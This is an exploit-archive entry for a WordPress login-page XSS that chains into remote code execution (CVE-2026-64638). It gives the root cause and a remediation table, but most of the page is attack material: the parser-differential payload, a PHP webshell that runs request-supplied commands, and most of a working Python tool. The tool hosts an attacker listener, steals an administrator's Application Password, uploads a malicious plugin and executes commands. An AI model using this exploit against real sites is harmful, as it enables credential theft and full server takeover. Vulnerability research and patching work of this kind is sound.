PoC Archive PoC Archive
CVE-2026-64638 category: web CVSS 8.9 (HIGH)
Unverified

WordPress — Pre-Auth XSS to RCE Chain via Login Page Parser Differential (CVE-2026-64638, "XSS2Shell")

Published: 2026-08-09 • Researcher: pwn.ai / WordSec (@wordsec)

Target software WordPress Core, wp-login.php failed-login error message, KSES sanitizer vs PHP strip_tags()
Affected versions WordPress 4.7.0 through 7.0.2 (~500M+ sites; WordPress powers ~43% of internet-facing websites)
Status Patched
Severity High · CVSS 8.9
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-08-09
Author / Researcherpwn.ai / WordSec (@wordsec)
CVE / AdvisoryCVE-2026-64638
Categoryweb
SeverityHigh
CVSS Score8.9 (CVSSv4.0, GitHub CNA: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H for the pre-auth XSS; the RCE chain adds UI:R — one admin click). CVSSv3.1 estimate: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
StatusPatched
Tagswordpress, wordpress-core, pre-auth, xss, reflected-xss, xss2shell, rce, parser-differential, dom-clobbering, some, jsonp, rest-api, application-password, plugin-upload, CWE-79, CWE-94, cms
Related

Affected Target

FieldValue
Software / SystemWordPress Core, wp-login.php failed-login error message, KSES sanitizer vs PHP strip_tags()
Versions AffectedWordPress 4.7.0 through 7.0.2 (~500M+ sites; WordPress powers ~43% of internet-facing websites)
Language / PlatformPHP (WordPress), JavaScript (XSS payload); PoC in Python 3.7+ (stdlib only)
Authentication RequiredNo — the XSS is pre-auth and triggerable on any default WordPress install. The RCE chain requires one authenticated administrator to open a crafted link (one click / explicit interaction).
Network Access RequiredRemote — the XSS payload is delivered via a crafted failed-login username; the full chain requires the attacker to run a listener reachable by the admin’s browser

Summary

CVE-2026-64638 — nicknamed XSS2Shell by its discoverers at pwn.ai — is a pre-authentication reflected XSS in the WordPress login page that chains through five to seven stages into full remote code execution on the server. It is one of the most impactful WordPress Core vulnerabilities disclosed in years: pre-auth, zero user interaction for the XSS itself, and only a single admin click to reach RCE. Patched in WordPress 7.0.3 (August 6, 2026) and backported to all maintained branches.

The root cause is a parser differential between PHP’s strip_tags() and WordPress’s own KSES sanitizer. PHP’s strip_tags() only recognizes a tag when < is immediately followed by a letter; if there is whitespace between < and the tag name (e.g., < area id=ajaxurl>), the string passes through unmodified. WordPress’s KSES tokenizer interprets < area as a valid <area> element. Since <area>, <div>, and <button> — with id, class, href, and name attributes — are in KSES’s post allowlist, attacker-controlled markup reaches the DOM of wp-login.php when the failed-login error message reflects a crafted username.

The discovery team at pwn.ai built the full chain in approximately four days, using several AI agents and open models to find the vulnerability and construct each stage. The pre-auth XSS was verified against a real WordPress 7.0.2 installation; the full RCE chain was demonstrated in a test environment.

Vulnerability Details

Root Cause

The failed-login flow on wp-login.php reflects the submitted username back in an inline error message after processing it through sanitize_user()wp_strip_all_tags()wp_kses_post(). The parser differential arises because these three functions use two different HTML tokenizers that disagree on what constitutes a tag:

  1. PHP strip_tags() (called by wp_strip_all_tags()): Only strips < immediately followed by a letter. < area id=ajaxurl> is NOT recognized as a tag → passes through unchanged.
  2. WordPress KSES (wp_kses_post()): Uses an independent tokenizer modeled on browser-like parsing. < area IS recognized as a valid <area> opening tag → preserved because <area> is in the post allowlist.

The injected DOM elements then participate in DOM clobbering: <area id=ajaxurl> shadows window.ajaxurl (used by WordPress admin JS to route AJAX requests). <div id=color-picker class=reset-pass-submit> and <button class="wp-generate-pw color-option"> satisfy jQuery selectors used by user-profile.js, which WordPress enqueues on wp-login.php.

The Seven-Stage Chain

  1. Parser-differential XSS — A crafted username (< area id=ajaxurl...>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">X) is reflected in the failed-login error message and parsed as live HTML.

  2. DOM clobbering — The injected <area> hijacks window.ajaxurl (HTML named property access). The injected button/div satisfy jQuery selectors in user-profile.js.

  3. Autonomous jQuery POSTuser-profile.js auto-fires a delegated click handler ($('.reset-pass-submit button.wp-generate-pw').trigger('click')), which jQuery-POSTs to the attacker-controlled area.href: /?rest_route=/&_method=GET&_jsonp=...&_envelope=1. The guard user_id === new_user_id is bypassed (undefined === undefined).

  4. REST API JSONP + SOME — The _jsonp callback parameter allows dot-traversal (e.g., window.opener.approve.click). The JSONP envelope (_envelope=1) bypasses REST auth error handling. Together they implement Same-Origin Method Execution (SOME) — JavaScript executing in the WordPress origin auto-clicks the “Approve” button on /wp-admin/authorize-application.php.

  5. Social engineering (1 click) — A logged-in administrator opens a crafted link. They see the legitimate WordPress Application Password authorization screen and click “Approve”. The Application Password is minted.

  6. Credential theft — The password appears in the redirect query string and is read by the child window (same-origin, popup opened from the attacker’s page).

  7. Plugin upload → RCE — Using the stolen credentials, the attacker publishes a page embedding JavaScript that uploads a malicious plugin ZIP via the plugin-install REST/form endpoint. PHP files in wp-content/plugins/<slug>/ are web-accessible and execute without plugin activation, giving a webshell as www-data.

Impact

  • XSS alone: pre-auth arbitrary JavaScript execution in the WordPress admin origin — session hijacking, credential phishing, admin-takeover through any admin who visits the login page after the attacker crafts the payload.
  • Full chain: remote code execution on the WordPress server as the web server user. The attacker can read wp-config.php (database credentials), modify any file, install backdoors, and pivot to the database and connected infrastructure.
  • Scale: WordPress powers ~43% of all websites. Every unpatched installation running any version from 4.7.0 through 7.0.2 is vulnerable to the pre-auth XSS.

Environment / Lab Setup

A vulnerable WordPress instance is required. The PoC runs a local HTTP listener; the target WordPress site and the administrator’s browser must both be able to reach it.

Shell script

Setup Steps

Shell script
1
python3 xss2shell_poc.py -t http://wordpress.research.local --lhost LISTENER_IP --lport 8080 -c "id"

Proof of Concept

See xss2shell_poc.py (572 lines, Python 3 stdlib only) and LICENSE (MIT) in this folder — mirrored byte-for-byte from wordsec/XSS2Shell. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Deploy WordPress 7.0.2 — any standard install with default configuration.
  2. Run the listener:
    Shell script
    1
    
    python3 xss2shell_poc.py -t http://TARGET --lhost ATTACKER_IP -c "whoami"
  3. Admin logs in to TARGET/wp-login.php, then opens http://ATTACKER_IP:PORT/.
  4. Admin clicks “Approve” on the Application Password authorization page.
  5. The tool captures the password, publishes an attacker page, uploads the test plugin, verifies shell.php, and runs the command.

Exploit Code

The parser-differential payload — survives strip_tags() but re-parses by KSES as live elements:

HTML
1
2
3
4
< area id=ajaxurl href=/?rest_route=/&_method=GET
&_jsonp=window.opener.approve.click&_envelope=1>
< div id=color-picker class=reset-pass-submit>
< button class="wp-generate-pw color-option">X

The jQuery auto-fire in user-profile.js — the guard bypass is undefined === undefined because user_id is not set on the login page:

JavaScript
1
$('.reset-pass-submit button.wp-generate-pw').trigger('click')

The test plugin — a two-file ZIP (xss2shell.php as plugin header + shell.php as webshell) — is uploaded via the plugin-install form. shell.php is web-accessible without activation:

PHP
1
2
3
4
5
6
7
<?php
if ( isset( $_REQUEST['cmd'] ) ) {
    header( 'Content-Type: application/json' );
    echo json_encode( array( 'rce' => true, 'output' => shell_exec( $_REQUEST['cmd'] ) ) );
    exit;
}
http_response_code( 404 );

Expected Output

Output
 __          __           _  _____
 \ \        / /          | |/ ____|
  \ \  /\  / /__  _ __ __| | (___   ___  ___
   \ \/  \/ / _ \| '__/ _` |\___ \ / _ \/ __|
    \  /\  / (_) | | | (_| |____) |  __/ (__
     \/  \/ \___/|_|  \__,_|_____/ \___|\___|

xss2shell & CVE-2026-64638 |  https://wordsec.net/ - Education Purpose Only

============================================================
[*] XSS2Shell starting ...
[*] Checking target: http://wordpress.research.local/wp-login.php
[+] Admin panel found: http://wordpress.research.local/wp-login.php
[+] Attacker server listening: 192.168.1.227:8080
[*] On the target website, the admin must open this page and log in:
    ->  http://wordpress.research.local/wp-login.php
[*] Then the admin opens the link that was sent to them:
    ->  http://192.168.1.227:8080/
[*] Waiting for the admin to visit (Ctrl+C to stop) ...
[+] Victim opened the attacker page (session-expired lure)
[+] Exploit started in the victim's browser
[+] Child popup document initialized
[+] Popup window ready, XSS payload prepared
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX XXXX XXXX (saved to xss2shell_creds.json)
[+] Attacker page published: http://wordpress.research.local/xss2shell-1723100000/
[+] Plugin ZIP upload request sent with the victim's session
[+] Plugin ZIP uploaded, shell.php is web-accessible
[+] Shell reachable: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php

============================================================
[+] Command output:
www-data
============================================================

[+] Shell link: http://wordpress.research.local/wp-content/plugins/xss2shell/shell.php?cmd=whoami
[+] Done.

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchUpgrade to WordPress 7.0.3 or later. The fix was backported to all maintained branches (4.7+). Sites with background auto-updates enabled receive it automatically. GHSA-52p2-r8wf-jcrf.
WorkaroundImunify360 shipped a virtual patch (WAF rule) that blocks the parser-differential payload. Generic WAF: block requests to wp-login.php where the log field contains %3C followed by whitespace. Rotate all existing Application Passwords after patching — any password minted before the patch could have been stolen.
VerificationConfirm the WordPress version is 7.0.3 or the backported version for the installed branch. Check that wp_kses_post() no longer allows whitespace-prefixed tag names through.

References

Notes

Verified this session by reading the full PoC source (xss2shell_poc.py, 572 lines). The script is a clean, well-structured Python 3 entrypoint using only the standard library. It implements:

  • An HTTP listener (ThreadingHTTPServer + custom Handler) serving four pages: the opener (XSS payload launcher), child (popup that submits the crafted username to wp-login.php), callback (Application Password capture + page publish + plugin upload), and /payload.zip (the test plugin ZIP built in-memory with zipfile).
  • REST API interaction: checks wp-login.php reachability, fetches site name from /wp-json/, publishes a page via POST /wp-json/wp/v2/pages, and deletes it on cleanup.
  • Credential reuse: saves captured Application Passwords to a local JSON file for subsequent runs.
  • Cleanup: deletes the published attacker page on exit (unless --keep), but deliberately preserves credentials and the shell plugin (operator-explicit).

Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration (the credentials save to local disk only, documented), no miner, no setup.py/install-time side effects. The only outbound connections are the operator’s deliberate HTTP requests to their own authorized target and the browser’s beacon calls to the attacker listener (both expected for a PoC of this type). The test plugin is built entirely in-memory — no external binary, no downloaded payload. The shell executes only the operator-supplied command via the standard shell_exec().

Author track record: pwn.ai / WordSec (wordsec on GitHub, wordsec.net) is a legitimate WordPress security research group. They discovered the vulnerability, reported it privately via GitHub Security Advisory (GHSA-52p2-r8wf-jcrf), coordinated disclosure with the WordPress security team, published the technical analysis at wordsec.net, and released this educational PoC under the MIT license — all after the WordPress 7.0.3 patch shipped on August 6, 2026. The discovery and chain construction was assisted by AI agents/open models (~4 days from discovery to full chain).

The CVSS scoring deserves a note: GitHub CNA rates the pre-auth XSS at 8.9 (CVSSv4.0: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), but the full RCE chain adds a user-interaction step (one admin click). The entry reflects the chain score (8.8 CVSSv3.1, UI:R) because the archive categorizes by exploitability of the documented PoC, not the weakest link. In practice, the pre-auth XSS alone is Critical — and the RCE chain makes it catastrophic.

xss2shell_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
import argparse
import base64
import io
import json
import os
import socket
import sys
import threading
import time
import urllib.parse
import urllib.request
import uuid
import zipfile
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

BANNER = r"""
 __          __           _  _____           
 \ \        / /          | |/ ____|          
  \ \  /\  / /__  _ __ __| | (___   ___  ___ 
   \ \/  \/ / _ \| '__/ _` |\___ \ / _ \/ __|
    \  /\  / (_) | | | (_| |____) |  __/ (__ 
     \/  \/ \___/|_|  \__,_|_____/ \___|\___|
                                              
                                              
xss2shell & CVE-2026-64638 |  https://wordsec.net/ - Education Purpose Only

"""

UA = "WordSec (https://wordsec.net/ | Education Purpose Only; XSS2Shell PoC)"

PLUGIN_SLUG = "xss2shell"
APP_NAME = "XSS2Shell-Poc-Wordsec"
CREDS_FILE = "xss2shell_creds.json"

G = {
    "site": None,
    "origin": None,
    "success_url": None,
    "app_id": None,
    "blogname": "WordPress",
    "delay_ms": 3000,
    "steps": [],
    "step_set": set(),
    "captured": None,
    "published": None,
}

STEP_MSG = {
    "lure_loaded": "[+] Victim opened the attacker page (session-expired lure)",
    "opener_loaded": "[+] Exploit started in the victim's browser",
    "child_written": "[+] Child popup document initialized",
    "child_ready": "[+] Popup window ready, XSS payload prepared",
    "submit_sent": "[+] XSS payload POSTed to wp-login.php",
    "upload_started": "[+] Plugin ZIP upload request sent with the victim's session",
}


def set_step(name, msg=""):
    if name not in G["step_set"]:
        G["step_set"].add(name)
        G["steps"].append((name, msg))


def load_creds(site=None):
    try:
        with open(CREDS_FILE) as f:
            data = json.load(f)
    except Exception:
        return None
    saved_site = data.get("site") or data.get("site_url")
    if site and saved_site and saved_site != site:
        return None
    return data


def save_creds(creds):
    creds = dict(creds)
    creds["saved_at"] = time.strftime("%Y-%m-%d %H:%M:%S")
    if not creds.get("shell_url"):
        creds["shell_url"] = (creds.get("site_url") or "").rstrip("/") \
            + f"/wp-content/plugins/{PLUGIN_SLUG}/shell.php"
    try:
        with open(CREDS_FILE, "w") as f:
            json.dump(creds, f, indent=2)
        print(f"[+] Application Password saved to {CREDS_FILE} for later runs "
              f"(shell: {creds['shell_url']})")
    except Exception as e:
        print(f"[*] could not save credentials to {CREDS_FILE}: {e}")


def http_get(url):
    req = urllib.request.Request(url, headers={"User-Agent": UA})
    try:
        with urllib.request.urlopen(req, timeout=20) as r:
            return r.status, r.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")
    except Exception as e:
        raise


def http_json(url, data=None, headers=None, method=None):
    h = dict(headers or {})
    h.setdefault("User-Agent", UA)
    req = urllib.request.Request(
        url,
        data=(json.dumps(data).encode() if data is not None else None),
        headers=h,
        method=method,
    )
    try:
        with urllib.request.urlopen(req, timeout=20) as r:
            return json.loads(r.read().decode())
    except urllib.error.HTTPError as e:
        body = e.read().decode("utf-8", "replace")
        try:
            return json.loads(body)
        except Exception:
            return {"_http_error": e.code, "_body": body[:500]}


def basic_auth_header(user_login, password):
    token = base64.b64encode(f"{user_login}:{password}".encode()).decode()
    return {"Authorization": "Basic " + token, "Content-Type": "application/json"}


def shell_alive(shell_url):
    try:
        r = http_json(shell_url + "?cmd=" + urllib.parse.quote("id"))
        return bool(r.get("rce"))
    except Exception:
        return False


def build_opener_page():
    import html
    origin = G["origin"]
    site = G["site"]
    delay = int(G["delay_ms"])
    payload = (
        "< area id=ajaxurl href=/?rest_route=/&_method=GET"
        "&_jsonp=window.opener.approve.click&_envelope=1>"
        "< div id=color-picker class=reset-pass-submit>"
        '< button class="wp-generate-pw color-option">X'
    )
    value = html.escape(payload, quote=True)
    return """<!doctype html>
<html><head><meta charset="utf-8"><title>XSS2Shell</title></head>
<body><script>
(function () {
  var ORIGIN = %(origin)r;
  var SITE = %(site)r;
  var SUCCESS = %(success)r;
  var APP_ID = %(app_id)r;
  var APP_NAME = %(app_name)r;
  var LOG_VALUE = %(value)r;
  var DELAY = %(delay)s;
  function beacon(k, v) { new Image().src = ORIGIN + '/beacon?step=' + encodeURIComponent(k) + '&msg=' + encodeURIComponent(v || ''); }
  function child_content() {
    return '<!doctype html><meta charset="utf-8"><title>XSS2Shell - child</title>'
      + '<form id="f" method="post" action="' + SITE + '/wp-login.php">'
      + '<input type="hidden" name="log" value="' + LOG_VALUE + '">'
      + '<input type="hidden" name="pwd" value="x">'
      + '</form>'
      + '<scr' + 'ipt>'
      + 'function b(k,v){new Image().src="' + ORIGIN + '/beacon?step="+encodeURIComponent(k)+"&msg="+encodeURIComponent(v||"");}'
      + "b('child_ready');"
      + "setTimeout(function(){b('submit_sent');document.getElementById('f').submit();}," + DELAY + ");"
      + '</scr' + 'ipt>';
  }
  function run() {
    beacon('opener_loaded');
    var child = null;
    try { child = window.open('about:blank', 'xss2child'); } catch (e) {}
    if (!child) { beacon('popup_blocked'); return; }
    try {
      child.location.href = ORIGIN + '/child';
      beacon('child_written');
    } catch (e) { beacon('child_error', String(e)); }
    location.href = SITE + '/wp-admin/authorize-application.php' +
      '?app_name=' + encodeURIComponent(APP_NAME) +
      '&app_id=' + APP_ID +
      '&success_url=' + encodeURIComponent(SUCCESS);
  }
  run();
})();
</script></body></html>
""" % {"origin": origin, "site": site, "success": G["success_url"],
       "app_id": G["app_id"], "app_name": APP_NAME, "value": value,
       "delay": delay}


def build_child_page():
    import html
    origin = G["origin"]
    site = G["site"]
    delay = int(G["delay_ms"])
    payload = (
        "< area id=ajaxurl href=/?rest_route=/&_method=GET"
        "&_jsonp=window.opener.approve.click&_envelope=1>"
        "< div id=color-picker class=reset-pass-submit>"
        '< button class="wp-generate-pw color-option">X'
    )
    value = html.escape(payload, quote=True)
    return """<!doctype html>
<html><head><meta charset="utf-8"><title>XSS2Shell - child</title></head>
<body><form id="f" method="post" action="%(site)s/wp-login.php">
<input type="hidden" name="log" value="%(value)s">
<input type="hidden" name="pwd" value="x">
</form><script>
(function () {
  var ORIGIN = %(origin)r;
  var DELAY = %(delay)s;
  function b(k,v) { new Image().src = ORIGIN + '/beacon?step=' + encodeURIComponent(k) + '&msg=' + encodeURIComponent(v || ''); }
  b('child_ready');
  setTimeout(function () {
    b('submit_sent');
    document.getElementById('f').submit();
  }, DELAY);
})();
</script></body></html>
""" % {"origin": origin, "site": site, "value": value, "delay": delay}


def build_callback_page(fallback=None):
    origin = G["origin"]
    site = G["site"]
    published_js = (
        "(async function(){"
        "var B='%s';" % origin
        + "var ZIP='%s';" % (origin + "/payload.zip")
        + "function b(k,v){new Image().src=B+'/beacon?step='+encodeURIComponent(k)+'&msg='+encodeURIComponent(v||'');}"
        + "try{"
        + "b('upload_started');"
        + "var zip=await(await fetch(ZIP)).arrayBuffer();"
        + "var html=await(await fetch('/wp-admin/plugin-install.php?tab=upload')).text();"
        + "var m=html.match(/name=\"_wpnonce\" value=\"([^\"]+)\"/);"
        + "if(!m){document.title='ERR_NONCE';b('upload_result','ERR_NONCE');return;}"
        + "var fd=new FormData();"
        + "fd.append('_wpnonce',m[1]);"
        + "fd.append('pluginzip',new Blob([zip]),'xss2shell.zip');"
        + "await fetch('/wp-admin/update.php?action=upload-plugin',{method:'POST',body:fd});"
        + "document.title='UPLOADED';b('upload_result','UPLOADED');"
        + "}catch(e){document.title='ERR:'+e;b('upload_result','ERR:'+e);}"
        + "location.href='/wp-admin/';"
        + "})();"
    )
    head = "<script>" + published_js
    fallback_js = ""
    if fallback:
        fallback_js = "  var FALLBACK = %(fallback)s;\n" % {"fallback": json.dumps(fallback)}
        user_line = "  var user = qs.get('user_login') || (FALLBACK && FALLBACK.user_login);"
        pass_line = "  var pass = qs.get('password') || (FALLBACK && FALLBACK.password);"
    else:
        user_line = "  var user = qs.get('user_login');"
        pass_line = "  var pass = qs.get('password');"
    return """<!doctype html>
<html><head><meta charset="utf-8"><title>XSS2Shell - callback</title></head>
<body><script>
(function () {
  var ORIGIN = %(origin)r;
  var site = %(site)r;
  var qs = new URLSearchParams(location.search);
  %(fallback_js)s
  %(user_line)s
  %(pass_line)s
  function beacon(k, v) { new Image().src = ORIGIN + '/beacon?step=' + encodeURIComponent(k) + '&msg=' + encodeURIComponent(v || ''); }
  if (!pass) { document.body.textContent = 'no application password captured'; beacon('publish_error', 'no password'); return; }
  var content = %(head)s + '</scr' + 'ipt>';
  fetch(site + '/wp-json/wp/v2/pages', {
    method: 'POST',
    headers: { 'Authorization': 'Basic ' + btoa(user + ':' + pass), 'Content-Type': 'application/json' },
    body: JSON.stringify({ title: 'xss2shell-' + Date.now(), status: 'publish', content: content })
  }).then(function (r) { return r.json(); }).then(function (obj) {
    if (obj && obj.link) { beacon('publish_ok', obj.link); beacon('page_id', String(obj.id)); location.href = obj.link; }
    else { document.body.textContent = 'publish failed: ' + JSON.stringify(obj); beacon('publish_error', JSON.stringify(obj)); }
  }).catch(function (e) { beacon('publish_error', String(e)); });
})();
</script></body></html>
""" % {"origin": origin, "site": site, "head": json.dumps(head), "fallback_js": fallback_js,
       "user_line": user_line, "pass_line": pass_line}


def build_plugin_zip():
    main_php = "<?php\n/**\n * Plugin Name: XSS2Shell PoC\n * Version: 1.0.0\n */\n"
    shell_php = (
        "<?php\n"
        "if ( isset( $_REQUEST['cmd'] ) ) {\n"
        "    header( 'Content-Type: application/json' );\n"
        "    echo json_encode( array( 'rce' => true, 'output' => shell_exec( $_REQUEST['cmd'] ) ) );\n"
        "    exit;\n"
        "}\n"
        "http_response_code( 404 );\n"
    )
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
        z.writestr(f"{PLUGIN_SLUG}/{PLUGIN_SLUG}.php", main_php)
        z.writestr(f"{PLUGIN_SLUG}/shell.php", shell_php)
    return buf.getvalue()


class Handler(BaseHTTPRequestHandler):
    server_version = "WordSec/1.0"

    def log_message(self, *args):
        pass

    def _reply(self, code, body, ctype="text/plain"):
        self.send_response(code)
        self.send_header("Content-Type", ctype)
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Server", "WordSec")
        self.end_headers()
        self.wfile.write(body)

    def do_OPTIONS(self):
        self._reply(204, b"")

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        qs = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            self._reply(200, build_opener_page().encode(), "text/html")
        elif parsed.path == "/child":
            self._reply(200, build_child_page().encode(), "text/html")
        elif parsed.path == "/callback":
            fallback = None
            qpass = qs.get("password", [""])[0]
            if qpass:
                G["captured"] = {
                    "site_url": qs.get("site_url", [""])[0],
                    "user_login": qs.get("user_login", [""])[0],
                    "password": qpass,
                }
                save_creds(G["captured"])
                set_step("password_captured",
                         f"[+] Application Password stolen: user={G['captured']['user_login']} "
                         f"pass={G['captured']['password']} (saved to {CREDS_FILE})")
            else:
                fallback = load_creds(G["site"])
                if fallback:
                    G["captured"] = fallback
                    print(f"[*] no fresh capture; reusing saved Application Password "
                          f"(user={fallback['user_login']})")
            self._reply(200, build_callback_page(fallback).encode(), "text/html")
        elif parsed.path == "/beacon":
            name = qs.get("step", [""])[0]
            msg = qs.get("msg", [""])[0]
            if name == "publish_ok":
                G["published"] = {"link": msg}
            elif name == "page_id":
                G["published"] = dict(G["published"] or {}, id=msg)
            set_step(name, msg)
            self._reply(200, b"ok")
        elif parsed.path == "/payload.zip":
            body = build_plugin_zip()
            self.send_response(200)
            self.send_header("Content-Type", "application/zip")
            self.send_header("Content-Length", str(len(body)))
            self.send_header("Access-Control-Allow-Origin", "*")
            self.end_headers()
            self.wfile.write(body)
        elif parsed.path == "/state":
            self._reply(200, json.dumps(
                {"steps": G["steps"], "captured": G["captured"], "published": G["published"]}
            ).encode(), "application/json")
        else:
            self._reply(404, b"not found")


def get_lan_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except Exception:
        return "127.0.0.1"


def start_server(host="0.0.0.0", port=0):
    srv = ThreadingHTTPServer((host, port), Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv


def print_steps(seen, steps):
    for name, msg in steps:
        key = (name, msg)
        if key in seen:
            continue
        seen.add(key)
        if name == "page_id":
            continue
        if name == "password_captured":
            print(msg)
        elif name == "publish_ok":
            print(f"[+] Attacker page published: {msg}")
        elif name == "publish_error":
            print(f"[!] ERROR: failed to publish page: {msg}")
        elif name == "upload_result":
            if msg == "UPLOADED":
                print("[+] Plugin ZIP uploaded, shell.php is web-accessible")
            elif msg.startswith("ERR_NONCE"):
                print(f"[!] ERROR: plugin upload nonce not found (upload form may differ): {msg}")
            elif msg.startswith("ERR:"):
                print(f"[!] ERROR: plugin upload failed: {msg}")
            else:
                print(f"[*] Upload status: {msg}")
        elif name == "popup_blocked":
            print("[!] ERROR: browser blocked the popup (pop-up blocker)")
        elif name in STEP_MSG:
            print(STEP_MSG[name])
        else:
            print(f"[*] {name}: {msg}")


def main():
    print(BANNER)
    print("=" * 60)
    print("[*] XSS2Shell starting ...")

    ap = argparse.ArgumentParser(
        description="XSS2Shell - CVE-2026-64638 (WordPress < 7.0.3) Pre-auth XSS -> RCE",
        add_help=True,
    )
    ap.add_argument("-t", "--target", required=True,
                    help="target WordPress base URL (e.g. http://wordpress.research.local)")
    ap.add_argument("-c", "--command", required=True,
                    help="command to run on the server (e.g. id)")
    ap.add_argument("--lhost", default=None,
                    help="attacker IP to bind and advertise "
                         "(default: 0.0.0.0 with auto-detected LAN IP)")
    ap.add_argument("--lport", type=int, default=0,
                    help="attacker TCP port (default: random)")
    ap.add_argument("--keep", action="store_true", help="do not clean up artifacts")
    args = ap.parse_args()

    site = args.target.rstrip("/")
    if not site.startswith(("http://", "https://")):
        ap.error("target must start with http:// or https://")

    G["site"] = site
    G["app_id"] = str(uuid.uuid4())

    saved = load_creds(site)
    if saved:
        print(f"[*] Found saved Application Password from a previous run "
              f"(user={saved['user_login']}), will reuse it if the fresh capture fails")

    print(f"[*] Checking target: {site}/wp-login.php")
    try:
        status, body = http_get(site + "/wp-login.php")
    except Exception as e:
        print(f"[!] ERROR: admin panel not found - wp-login.php unreachable ({e})")
        sys.exit(1)
    if status != 200 or "user_login" not in body:
        print(f"[!] ERROR: admin panel not found (wp-login.php returned HTTP {status}, "
              "no WordPress login form)")
        sys.exit(1)
    print(f"[+] Admin panel found: {site}/wp-login.php")

    try:
        info = http_json(site + "/wp-json/")
        if isinstance(info, dict) and info.get("name"):
            G["blogname"] = info["name"]
    except Exception:
        pass

    if args.lhost and args.lhost != "0.0.0.0":
        bind_host = args.lhost
        lan_ip = args.lhost
    else:
        bind_host = "0.0.0.0"
        lan_ip = get_lan_ip()

    srv = start_server(bind_host, args.lport)
    _, port = srv.server_address
    G["origin"] = f"http://{lan_ip}:{port}"
    G["success_url"] = f"http://{lan_ip}:{port}/callback"
    url = G["origin"] + "/"
    shell_url = f"{site}/wp-content/plugins/{PLUGIN_SLUG}/shell.php"

    print(f"[+] Attacker server listening: {lan_ip}:{port}")
    print("[*] On the target website, the admin must open this page and log in:")
    print(f"    ->  {site}/wp-login.php")
    print("[*] Then the admin opens the link that was sent to them:")
    print(f"    ->  {url}")
    print("[*] Waiting for the admin to visit (Ctrl+C to stop) ...")

    seen = set()
    got_shell = False

    try:
        while True:
            st = {}
            try:
                st = http_json(f"{G['origin']}/state")
Showing 500 of 572 lines View full file on GitHub →